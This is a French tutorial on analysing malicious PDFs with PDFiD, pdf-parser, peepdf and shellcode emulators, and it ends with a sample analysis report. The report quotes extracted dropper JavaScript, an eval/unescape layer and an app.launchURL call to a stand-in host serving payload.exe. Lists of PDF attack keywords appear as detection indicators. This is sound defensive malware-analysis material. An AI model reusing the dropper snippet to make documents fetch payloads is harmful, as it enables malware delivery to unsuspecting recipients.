Que fait Analyse de PDF malveillants avec PDFiD ?
Quand l'utiliser
- Une pièce jointe PDF suspecte a été signalée par la sécurité email ou signalée par un utilisateur
- Vous devez déterminer si un PDF contient du JavaScript embarqué, du shellcode ou du code d'exploitation
- Trier des documents PDF avant de les ouvrir dans un environnement sandbox ou d'analyse
- Extraire des exécutables, scripts ou URLs embarqués à partir d'objets PDF malveillants
- Analyser des kits d'exploitation PDF ciblant Adobe Reader ou d'autres vulnérabilités de lecteurs PDF
Ne pas utiliser pour analyser le contenu visuel rendu d'un PDF ; cette analyse est structurelle du format de fichier PDF à la recherche d'objets malveillants.
Prérequis
- Python 3.8+ avec les outils PDF de Didier Stevens installés (
pip install pdfid pdf-parser) - peepdf installé pour l'analyse interactive des PDF (
pip install peepdf) - pdftotext de poppler-utils pour extraire le contenu textuel en toute sécurité
- YARA avec des règles spécifiques aux PDF pour l'identification des familles de malwares
- VM d'analyse isolée sans lecteur PDF installé (éviter l'ouverture accidentelle)
- CyberChef pour décoder les flux Base64, hexadécimaux ou deflate embarqués
Workflow
Étape 1 : Triage initial avec PDFiD
Scannez le PDF pour les mots-clés et structures suspects :
# Exécutez PDFiD pour identifier les éléments suspects
pdfid suspect.pdf
# Analyse de la sortie attendue :
# /JS - JavaScript (RISQUE ÉLEVÉ)
# /JavaScript - Objet JavaScript (RISQUE ÉLEVÉ)
# /AA - Action automatique déclenchée à l'ouverture (RISQUE ÉLEVÉ)
# /OpenAction - Action à l'ouverture du document (RISQUE ÉLEVÉ)
# /Launch - Lancement d'une application externe (RISQUE ÉLEVÉ)
# /EmbeddedFile - Fichier embarqué (RISQUE MOYEN)
# /RichMedia - Contenu Flash (RISQUE MOYEN)
# /ObjStm - Flux d'objets (utilisé pour l'obfuscation)
# /URI - Référence URL (risque contextuel)
# /AcroForm - Formulaire interactif (RISQUE MOYEN)
# Exécutez avec plus de détails
pdfid -e suspect.pdf
# Exécutez avec désarmement (renomme les mots-clés suspects)
pdfid -d suspect.pdf
Évaluation des risques PDFiD :
━━━━━━━━━━━━━━━━━━━━━
Indicateurs RISQUE ÉLEVÉ (tout compte > 0) :
/JS, /JavaScript -> Code JavaScript embarqué
/AA -> Action automatique (déclenche sans interaction utilisateur)
/OpenAction -> Le code s'exécute à l'ouverture du document
/Launch -> Peut lancer des exécutables externes
/JBIG2Decode -> Associé à l'exploit CVE-2009-0658
Indicateurs RISQUE MOYEN :
/EmbeddedFile -> Contient des fichiers embarqués (pourrait être EXE/DLL)
/RichMedia -> Flash/multimédia (exploits Flash)
/AcroForm -> Formulaire avec possible action de soumission
/XFA -> Architecture XML Forms (surface d'attaque complexe)
Indicateurs RISQUE FAIBLE :
/ObjStm -> Flux d'objets (technique d'obfuscation)
/URI -> Références URL externes
/Page -> Nombre de pages (contexte uniquement)
Étape 2 : Analyser la structure PDF avec pdf-parser
Examinez les objets suspects identifiés par PDFiD :
# Lister tous les objets faisant référence à JavaScript
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf
# Lister tous les objets avec OpenAction
pdf-parser --search "/OpenAction" suspect.pdf
# Extraire un objet spécifique par ID (exemple : objet 5)
pdf-parser --object 5 suspect.pdf
# Extraire et décompresser le contenu du flux
pdf-parser --object 5 --filter --raw suspect.pdf
# Rechercher des fichiers embarqués
pdf-parser --search "/EmbeddedFile" suspect.pdf
# Lister tous les objets avec leurs types
pdf-parser --stats suspect.pdf
Étape 3 : Extraire et analyser le JavaScript embarqué
Récupérez le code JavaScript des objets PDF :
# Extraire le JavaScript avec pdf-parser
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt
# Alternative : Utiliser peepdf pour une extraction interactive du JavaScript
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF
# Commandes interactives peepdf pour l'analyse JS :
# js_analyse - Extraire et afficher tout le code JavaScript
# js_beautify - Formater le JavaScript extrait
# js_eval <object> - Évaluer JavaScript dans un environnement sandboxé
# object <id> - Afficher le contenu de l'objet
# rawobject <id> - Afficher les octets bruts de l'objet
# stream <id> - Afficher le flux décompressé
# offsets - Afficher les décalages des objets dans le fichier
# Script Python pour une extraction complète du JavaScript PDF
import subprocess
import re
# Extraire tous les flux et rechercher JavaScript
result = subprocess.run(
["pdf-parser", "--stats", "suspect.pdf"],
capture_output=True, text=True
)
# Trouver les ID d'objets contenant des références JavaScript
js_objects = []
for line in result.stdout.split('\n'):
if '/JavaScript' in line or '/JS' in line:
obj_id = re.search(r'obj (\d+)', line)
if obj_id:
js_objects.append(obj_id.group(1))
# Extraire chaque objet contenant du JavaScript
for obj_id in js_objects:
result = subprocess.run(
["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
print(f"\n=== Objet {obj_id} ===")
print(result.stdout[:2000])
Étape 4 : Analyser le shellcode embarqué
Extrayez et examinez le shellcode des exploits PDF :
# Extraire les données brutes du flux pour l'analyse du shellcode
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf
# Analyser le shellcode avec scdbg (débogueur de shellcode)
scdbg /f shellcode.bin
# Alternative : Utiliser speakeasy pour l'émulation de shellcode
python3 -c "
import speakeasy
se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)
# Examiner les appels API effectués par le shellcode
for event in se.get_report()['api_calls']:
print(f\"{event['api']}: {event['args']}\")
"
# Utiliser CyberChef pour décoder le shellcode encodé en hexadécimal/base64
# Entrée : Données du flux extraites
# Recette : From Hex -> Disassemble x86
Étape 5 : Extraire les fichiers embarqués et URLs
Récupérez les exécutables embarqués et les ressources liées :
# Extraire les fichiers embarqués du PDF
import subprocess
import hashlib
# Trouver les objets de fichiers embarqués
result = subprocess.run(
["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
capture_output=True
)
# Extraire les fichiers PE embarqués en recherchant l'en-tête MZ
with open("suspect.pdf", "rb") as f:
data = f.read()
# Rechercher les fichiers PE embarqués
offset = 0
while True:
pos = data.find(b'MZ', offset)
if pos == -1:
break
# Vérifier la signature PE
if pos + 0x3C < len(data):
pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
print(f"PE embarqué trouvé à l'offset 0x{pos:X}")
# Extraire (estimation de la taille ou utilisation de l'en-tête PE)
embedded = data[pos:pos+100000] # Extraction initiale
sha256 = hashlib.sha256(embedded).hexdigest()
with open(f"embarque_{pos:X}.exe", "wb") as out:
out.write(embedded)
print(f" SHA-256 : {sha256}")
offset = pos + 1
# Extraire les URLs du PDF
result = subprocess.run(
["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>"\']+)', result.stdout)
for url in set(urls):
print(f"URL : {url}")
Étape 6 : Générer un rapport d'analyse
Documentez toutes les découvertes de l'analyse PDF :
L'analyse doit couvrir :
- Résultats du triage PDFiD (comptages de mots-clés suspects)
- Anomalies de structure PDF (flux d'objets, problèmes de références croisées)
- Code JavaScript extrait (désobfusqué si nécessaire)
- Résultats de l'analyse du shellcode (appels API, indicateurs réseau)
- Fichiers embarqués extraits avec leurs hachages
- URLs et références externes
- Identification des CVE si un exploit connu est détecté
- Correspondances de règles YARA avec des familles de malwares PDF connues
Concepts clés
| Terme | Définition |
|---|---|
| Objet PDF | Bloc de construction de base d'un fichier PDF ; les objets peuvent contenir des flux (données compressées), dictionnaires, tableaux et références à d'autres objets |
| OpenAction | Entrée de dictionnaire PDF spécifiant une action à exécuter à l'ouverture du document ; couramment utilisée pour déclencher des exploits JavaScript |
| Flux PDF | Données compressées dans un objet PDF pouvant contenir du JavaScript, des images, des fichiers embarqués ou du shellcode ; généralement compressé avec FlateDecode |
| FlateDecode | Filtre de compression Zlib/deflate appliqué aux flux PDF ; doit être décompressé pour analyser le contenu |
| ObjStm (Flux d'objets) | Fonctionnalité PDF stockant plusieurs objets dans un seul flux compressé ; utilisée par les malwares pour cacher des objets suspects aux analyseurs simples |
| JBIG2 | Norme de compression d'image dans les PDF ; source historique d'exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY) |
| API JavaScript PDF | Extensions JavaScript spécifiques à Adobe disponibles dans les documents PDF pour la manipulation de formulaires, l'accès réseau et l'interaction avec le système d'exploitation |
Outils & Systèmes
- PDFiD : Outil de Didier Stevens pour scanner des documents PDF à la recherche de mots-clés et structures suspects sans analyser l'ensemble du document
- pdf-parser : Outil compagnon de PDFiD pour l'extraction détaillée d'objets PDF, la décompression de flux et l'analyse de contenu
- peepdf : Outil d'analyse PDF basé sur Python fournissant un shell interactif pour l'inspection d'objets et l'extraction de JavaScript
- QPDF : Outil de transformation PDF pour linéariser, déchiffrer et restructurer les PDF afin de faciliter l'analyse
- scdbg : Outil d'analyse de shellcode qui émule l'exécution de shellcode x86 et enregistre les appels API
Scénarios courants
Scénario : Trier un PDF de phishing avec JavaScript embarqué
Contexte : Une passerelle email a signalé une pièce jointe PDF avec des indicateurs JavaScript suspects. L'équipe de sécurité doit déterminer s'il contient un exploit ou une redirection d'ingénierie sociale.
Approche :
- Exécutez PDFiD pour confirmer la présence et les comptages de /JS, /JavaScript et /OpenAction
- Utilisez pdf-parser pour extraire l'objet OpenAction et suivre sa chaîne de référence
- Extrayez le code JavaScript de l'objet flux référencé (appliquez le filtre FlateDecode)
- Désobfusquez le JavaScript (décodez les chaînes hexadécimales, résolvez les chaînes eval)
- Déterminez si le script exploite une vulnérabilité d'un lecteur PDF (vérifiez les heap spray, chaînes ROP) ou effectue une redirection
- Extrayez toutes les URLs, IPs et fichiers embarqués comme IOCs
- Classez l'échantillon : exploit (CVE spécifique) ou ingénierie sociale (redirection/phishing)
Pièges :
- Ouvrir le PDF dans un lecteur standard au lieu de l'analyser avec des outils en ligne de commande
- Manquer le JavaScript caché dans les Flux d'objets (/ObjStm) que PDFiD détecte mais que les analyseurs simples ignorent
- Ne pas décompresser les flux avant l'analyse (filtres FlateDecode, ASCIIHexDecode, ASCII85Decode)
- Supposer que l'absence de /JS signifie absence de JavaScript ; le code peut être embarqué dans des champs de formulaire (/AcroForm avec /XFA)
Format de sortie
RAPPORT D'ANALYSE DE MALWARE PDF
==================================
Fichier : facture_2025.pdf
SHA-256 : e3b0c44298fc1c149afbf4c8996fb924...
Taille du fichier : 45 312 octets
Version PDF : 1.7
TRIAGE PDFiD
/JS : 1 [RISQUE ÉLEVÉ]
/JavaScript : 1 [RISQUE ÉLEVÉ]
/OpenAction : 1 [RISQUE ÉLEVÉ]
/EmbeddedFile : 0
/Launch : 0
/URI : 2
/Page : 1
/ObjStm : 1 [OBFUSCATION]
OBJETS SUSPECTS
Objet 5 : /OpenAction -> référence Objet 8
Objet 8 : Flux /JavaScript (FlateDecode, 2 847 octets décompressés)
Objet 12 : /ObjStm contenant les objets 15-18
JAVASCRIPT EXTRAIT
Couche 1 : eval(unescape("%68%65%6C%6C%6F"))
Couche 2 : var url = "hxxp://malveillant[.]com/payload.exe";
app.launchURL(url, true);
// Redirection d'ingénierie sociale, pas d'exploit
IOCs EXTRAITS
URLs : hxxp://malveillant[.]com/payload.exe
hxxps://faux-login[.]com/adobe/verifier
Domaines : malveillant[.]com, faux-login[.]com
CLASSIFICATION
Type : Ingénierie sociale (redirection URL)
CVE : Aucun (aucun code d'exploit détecté)
Risque : ÉLEVÉ (télécharge une charge utile exécutable)
Famille : Dropper PDF générique